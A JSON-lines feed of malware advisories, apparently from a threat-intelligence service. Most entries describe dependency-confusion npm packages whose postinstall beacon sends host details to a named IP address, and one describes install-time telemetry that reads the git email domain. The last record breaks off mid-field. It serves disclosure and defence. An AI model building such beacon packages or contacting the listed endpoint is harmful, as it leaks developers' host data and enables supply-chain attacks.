{"classification": "tp", "details": "@drone-js-ext/vip-badge is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18277"], "package": "@drone-js-ext/vip-badge", "public_id": "PROTET-NPM-2026-91", "published_at": "2026-10-25T05:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-26T06:09:02Z", "url": "https://protet.io/intel/npm/@drone-js-ext/vip-badge/2.0.0", "version": "2.0.0"}
{"classification": "tp", "details": "@drone-js-ext/core is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18276"], "package": "@drone-js-ext/core", "public_id": "PROTET-NPM-2026-89", "published_at": "2026-10-25T05:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-26T06:09:02Z", "url": "https://protet.io/intel/npm/@drone-js-ext/core/3.0.0", "version": "3.0.0"}
{"classification": "tp", "details": "@ppa-web-components/ppa-navigation 3.0.0 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18286"], "package": "@ppa-web-components/ppa-navigation", "public_id": "PROTET-NPM-2026-99", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T21:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-navigation/3.0.0", "version": "3.0.0"}
{"classification": "tp", "details": "@ppa-web-components/ppa-searchform 0.0.1 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18287"], "package": "@ppa-web-components/ppa-searchform", "public_id": "PROTET-NPM-2026-98", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T21:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-searchform/0.0.1", "version": "0.0.1"}
{"classification": "tp", "details": "@ppa-web-components/ppa-builder 1.0.1 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18273"], "package": "@ppa-web-components/ppa-builder", "public_id": "PROTET-NPM-2026-120", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T21:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-builder/1.0.1", "version": "1.0.1"}
{"classification": "tp", "details": "@ppa-web-components/ppa-searchform 1.1.0 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18287"], "package": "@ppa-web-components/ppa-searchform", "public_id": "PROTET-NPM-2026-119", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T21:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-searchform/1.1.0", "version": "1.1.0"}
{"classification": "tp", "details": "@ppa-web-components/ppa-builder 1.0.0 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18273"], "package": "@ppa-web-components/ppa-builder", "public_id": "PROTET-NPM-2026-117", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T21:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-builder/1.0.0", "version": "1.0.0"}
{"classification": "tp", "details": "@ppa-web-components/ppa-searchform 3.0.0 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18287"], "package": "@ppa-web-components/ppa-searchform", "public_id": "PROTET-NPM-2026-116", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T21:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-searchform/3.0.0", "version": "3.0.0"}
{"classification": "tp", "details": "@ppa-web-components/ppa-searchform 99.0.1 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18287"], "package": "@ppa-web-components/ppa-searchform", "public_id": "PROTET-NPM-2026-112", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T21:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-searchform/99.0.1", "version": "99.0.1"}
{"classification": "tp", "details": "@ppa-web-components/ppa-builder 3.0.0 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18273"], "package": "@ppa-web-components/ppa-builder", "public_id": "PROTET-NPM-2026-111", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T21:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-builder/3.0.0", "version": "3.0.0"}
{"classification": "tp", "details": "@ppa-web-components/ppa-searchform 1.0.1 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18287"], "package": "@ppa-web-components/ppa-searchform", "public_id": "PROTET-NPM-2026-110", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T21:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-searchform/1.0.1", "version": "1.0.1"}
{"classification": "tp", "details": "@ppa-web-components/ppa-searchform 2.0.1 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18287"], "package": "@ppa-web-components/ppa-searchform", "public_id": "PROTET-NPM-2026-109", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T21:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-searchform/2.0.1", "version": "2.0.1"}
{"classification": "tp", "details": "@ppa-web-components/ppa-builder 0.0.1 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18273"], "package": "@ppa-web-components/ppa-builder", "public_id": "PROTET-NPM-2026-107", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T21:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-builder/0.0.1", "version": "0.0.1"}
{"classification": "tp", "details": "@ppa-web-components/ppa-navigation 99.0.1 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18286"], "package": "@ppa-web-components/ppa-navigation", "public_id": "PROTET-NPM-2026-102", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T21:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-navigation/99.0.1", "version": "99.0.1"}
{"classification": "tp", "details": "@ppa-web-components/ppa-searchform 2.0.0 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18287"], "package": "@ppa-web-components/ppa-searchform", "public_id": "PROTET-NPM-2026-100", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T21:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-searchform/2.0.0", "version": "2.0.0"}
{"classification": "tp", "details": "@greenlake/common-context is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18282"], "package": "@greenlake/common-context", "public_id": "PROTET-NPM-2026-75", "published_at": "2026-10-24T06:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-25T18:59:01Z", "url": "https://protet.io/intel/npm/@greenlake/common-context/99.0.1", "version": "99.0.1"}
{"classification": "tp", "details": "@drone-js-ext/vip-badge is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18277"], "package": "@drone-js-ext/vip-badge", "public_id": "PROTET-NPM-2026-90", "published_at": "2026-10-25T05:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-25T18:02:42Z", "url": "https://protet.io/intel/npm/@drone-js-ext/vip-badge/99.0.1", "version": "99.0.1"}
{"classification": "tp", "details": "@drone-js-ext/core is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18276"], "package": "@drone-js-ext/core", "public_id": "PROTET-NPM-2026-88", "published_at": "2026-10-25T05:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-25T18:02:42Z", "url": "https://protet.io/intel/npm/@drone-js-ext/core/99.0.1", "version": "99.0.1"}
{"classification": "tp", "details": "@ppa-web-components/ppa-headerfooter 1.0.0 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18274"], "package": "@ppa-web-components/ppa-headerfooter", "public_id": "PROTET-NPM-2026-97", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T15:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-headerfooter/1.0.0", "version": "1.0.0"}
{"classification": "tp", "details": "@ppa-web-components/ppa-banner 1.0.1 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18272"], "package": "@ppa-web-components/ppa-banner", "public_id": "PROTET-NPM-2026-96", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T15:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-banner/1.0.1", "version": "1.0.1"}
{"classification": "btp", "details": "Installing @ory/cline 1.5.2 installs its dependency reova 0.7.0, whose postinstall script runs `node index.js`. reova only runs when the depending package enables it in its package.json, as @ory/cline does (reova.enabled true, endpoint https://telemetry.reo.dev/data); installers can disable it by setting DO_NOT_TRACK=1 or REOVA_ANALYTICS=false before installing. At install time the script sends the package name and version, platform, operating system, CPU count, whether it runs in CI, a random per-install id, and the email domain (not the full address) read from the user's ~/.gitconfig to that endpoint over HTTPS. The installing user is not asked for consent. No credentials or source files are read, and nothing persists after the install. Impact: every developer and CI machine that installs the package without the opt-out discloses its employer's email domain and basic host details to a third-party analytics service. Remediation: set DO_NOT_TRACK=1 (or REOVA_ANALYTICS=false) in the build environment, install with --ignore-scripts where possible, or block telemetry.reo.dev on build hosts. Check whether newer versions still enable reova.", "ecosystem": "npm", "osv_aliases": [], "package": "@ory/cline", "public_id": "PROTET-NPM-2026-121", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Install-time analytics dependency reads the git email domain and sends it with host details to a third party", "updated_at": "2026-10-25T15:19:01Z", "url": "https://protet.io/intel/npm/@ory/cline/1.5.2", "version": "1.5.2"}
{"classification": "tp", "details": "@ppa-web-components/ppa-hotel-collection 2.0.1 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18275"], "package": "@ppa-web-components/ppa-hotel-collection", "public_id": "PROTET-NPM-2026-118", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T15:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-hotel-collection/2.0.1", "version": "2.0.1"}
{"classification": "tp", "details": "@ppa-web-components/ppa-banner 1.1.0 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18272"], "package": "@ppa-web-components/ppa-banner", "public_id": "PROTET-NPM-2026-115", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T15:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-banner/1.1.0", "version": "1.1.0"}
{"classification": "tp", "details": "@ppa-web-components/ppa-hotel-collection 99.0.1 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18275"], "package": "@ppa-web-components/ppa-hotel-collection", "public_id": "PROTET-NPM-2026-114", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T15:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-hotel-collection/99.0.1", "version": "99.0.1"}
{"classification": "tp", "details": "@ppa-web-components/ppa-headerfooter 1.0.1 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18274"], "package": "@ppa-web-components/ppa-headerfooter", "public_id": "PROTET-NPM-2026-113", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T15:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-headerfooter/1.0.1", "version": "1.0.1"}
{"classification": "tp", "details": "@ppa-web-components/ppa-banner 2.0.0 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18272"], "package": "@ppa-web-components/ppa-banner", "public_id": "PROTET-NPM-2026-108", "published_at": 